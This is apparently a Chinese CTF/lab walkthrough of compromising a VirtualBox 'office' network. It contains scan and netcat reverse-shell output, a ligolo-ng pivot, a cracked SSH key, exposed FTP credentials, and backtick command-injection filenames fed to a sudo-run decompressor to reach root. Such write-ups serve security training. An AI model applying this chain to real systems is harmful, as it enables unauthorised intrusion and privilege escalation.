4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.945 seconds (131.62 hosts/sec). 4 responded ❯ export ip=192.168.60.148 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- 🌍HACK THE PLANET🌍 [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.148:22 Open 192.168.60.148:80 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-08 20:26 CST Initiating ARP Ping Scan at 20:26 Scanning 192.168.60.148 [1 port] Completed ARP Ping Scan at 20:26, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 20:26 Completed Parallel DNS resolution of 1 host. at 20:26, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 20:26 Scanning 192.168.60.148 [2 ports] Discovered open port 22/tcp on 192.168.60.148 Discovered open port 80/tcp on 192.168.60.148 Completed SYN Stealth Scan at 20:26, 0.03s elapsed (2 total ports) Nmap scan report for 192.168.60.148 Host is up, received arp-response (0.00053s latency). Scanned at 2025-01-08 20:26:36 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 63 MAC Address: 08:00:27:7A:26:98 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
❯ nc -lnvp 4444 listening on [any] 4444 ... connect to [192.168.60.100] from (UNKNOWN) [192.168.60.148] 33383 id uid=1000(node) gid=1000(node) groups=1000(node)
ligolo-ng » INFO[0024] Agent joined. id=8496b142-e9bd-432d-8e24-8f9921bee2ce name=node@webserver remote="192.168.60.148:37340" ligolo-ng » session ? Specify a session : [Use arrows to move, type to filter] > 1 - node@webserver - 192.168.60.148:37340 - 8496b142-e9bd-432d-8e24-8f9921bee2ce [Agent : node@webserver] » tunnel_start --tun ligolo [Agent : node@webserver] » INFO[0353] Starting tunnel to node@webserver (8496b142-e9bd-432d-8e24-8f9921bee2ce)
同时不要关闭proxy，设置一下路由
1 2 3 4 5 6 7 8 9 10 11 12
❯ sudo ip route add 172.101.0.0/28 dev ligolo ❯ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link/ether 5e:bb:f6:9e:ee:fa brd ff:ff:ff:ff:ff:ff inet 192.168.60.100/24 brd 192.168.60.255 scope global eth0 valid_lft forever preferred_lft forever 5: ligolo: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 500 link/none
这时候我们直接扫172.101.0.0/28整个网段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
❯ rustscan -a 172.101.0.0/28 .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 172.101.0.3:21 Open 172.101.0.1:22 Open 172.101.0.4:22
❯ ftp [email protected] dir Connected to 172.101.0.3. 220 Welcome to my FTP server. 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 229 Entering Extended Passive Mode (|||30916|) 150 Here comes the directory listing. -rw-r--r-- 1 1000 1000 3434 May 06 2024 id_rsa 226 Directory send OK. ftp> get id_rsa local: id_rsa remote: id_rsa 229 Entering Extended Passive Mode (|||30652|) 150 Opening BINARY mode data connection for id_rsa (3434 bytes). 100% |************************************************************************************************| 3434 1.71 MiB/s 00:00 ETA 226 Transfer complete. 3434 bytes received in 00:00 (993.92 KiB/s) ftp>
但凡是这个靶场的靶机私钥都加密的，爆破一下
1 2 3 4 5 6 7 8 9 10 11 12
❯ ssh2john id_rsa >hash ❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 16 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status lawrence (id_rsa) 1g 0:00:00:21 DONE (2025-01-12 20:40) 0.04750g/s 44.08p/s 44.08c/s 44.08C/s hawaii..lawrence Use the "--show" option to display all of the cracked passwords reliably Session completed.
不过不知道是哪个用户的，我们可以看一下密钥的备注
1 2 3 4
❯ ssh-keygen -c -f id_rsa Enter passphrase: Old comment: willsmith@server New comment:
❯ ssh [email protected] -i id_rsa Enter passphrase for key 'id_rsa': Linux office 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed May 8 21:48:44 2024 from 172.101.0.2 willsmith@office:~$ ls -al total 64 drwxr-xr-x 1 willsmith willsmith 4096 May 8 2024 . drwxr-xr-x 1 root root 4096 May 6 2024 .. -rw------- 1 willsmith willsmith 600 May 8 2024 .bash_history -rw-r--r-- 1 willsmith willsmith 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 willsmith willsmith 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 willsmith willsmith 33 May 7 2024 .ftp -rw-r--r-- 1 willsmith willsmith 807 Apr 23 2023 .profile drwxr-xr-x 1 willsmith willsmith 4096 May 6 2024 .ssh -rw-r--r-- 1 willsmith willsmith 131 May 8 2024 '`bash shell.sh`.7z' -rw-r--r-- 1 willsmith willsmith 131 May 8 2024 '`whoami`.7z' -rw-r--r-- 1 willsmith willsmith 51 May 8 2024 shell.sh -rw-r--r-- 1 willsmith willsmith 131 May 8 2024 test.7z -rw-r--r-- 1 willsmith willsmith 5 May 8 2024 test.txt -rw-r--r-- 1 willsmith willsmith 39 May 7 2024 user.txt willsmith@office:~$ cat user.txt flag{61992ce8bc28cb06461c82d62584e718}
willsmith@office:~$ cat .ftp willsmith:2j9ptYyw3uKJHxLb6ZzRNh -----------分隔-------------------- ❯ ftp [email protected] Connected to 172.101.0.3. 220 Welcome to my FTP server. 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 229 Entering Extended Passive Mode (|||30948|) 150 Here comes the directory listing. -rw-r--r-- 1 1001 1001 1156 May 06 2024 uncompress.c 226 Directory send OK. ftp> get uncompress.c local: uncompress.c remote: uncompress.c 229 Entering Extended Passive Mode (|||30453|) 150 Opening BINARY mode data connection for uncompress.c (1156 bytes). 100% |************************************************************************************************| 1156 1.32 MiB/s 00:00 ETA 226 Transfer complete. 1156 bytes received in 00:00 (806.93 KiB/s) ftp>
// Check if the first six bytes are "7z\xBC\xAF\x27\x1C" (7z file signature) unsignedchar signature[6]; fread(signature, sizeof(unsignedchar), 6, file);
constchar *filename = argv[1]; if (is_valid_7z(filename)) { printf("%s is a valid 7z file.\n", filename); // Execute 7z x command char command[100]; snprintf(command, sizeof(command), "7zz x %s", filename); system(command); } else { printf("%s is not a valid 7z file.\n", filename); }
return0; }
我直接丢个GPT解释一下
该程序首先检查输入文件是否为有效的 .7z 文件（通过检查文件的魔数）。
如果文件有效，使用系统命令 7zz x 解压文件。
如果文件无效，则告知用户该文件不是有效的 .7z 文件。
正好家目录提供了一个whoami的7z文件，测试一下
果然输出root了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
willsmith@office:~$ sudo /opt/uncompress '`whoami`.7z' `whoami`.7z is a valid 7z file.
❯ ssh [email protected] [email protected]'s password: Linux TheOffice 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu May 9 00:19:00 2024 from 10.0.2.5 office@TheOffice:~$ ls app app.tgz ftp laptop server office@TheOffice:~/laptop$ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 14a283a0ab1c ftpserver "vsftpd /etc/vsftpd/…" 8 months ago Up 24 minutes 21/tcp ftpserver 2cf2ce43c67c server "/usr/sbin/sshd -D" 8 months ago Up 48 minutes 22/tcp server 489413ef27e2 webapp "docker-entrypoint.s…" 8 months ago Up 48 minutes 0.0.0.0:80->80/tcp, :::80->80/tcp webserver 8f7850553ea6 laptop "/usr/sbin/sshd -D" 8 months ago Up 48 minutes 22/tcp laptop office@TheOffice:~/ftp$ sudo -l [sudo] contraseña para office: Matching Defaults entries for office on TheOffice: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User office may run the following commands on TheOffice: (ALL : ALL) ALL
直接切换root
1 2 3 4 5 6
office@TheOffice:~/ftp$ sudo su root@TheOffice:/home/office/ftp# cd ~ root@TheOffice:~# ls root.txt root@TheOffice:~# cat root.txt flag{f73a64a82b4dbeaf43f308999c5b380f}
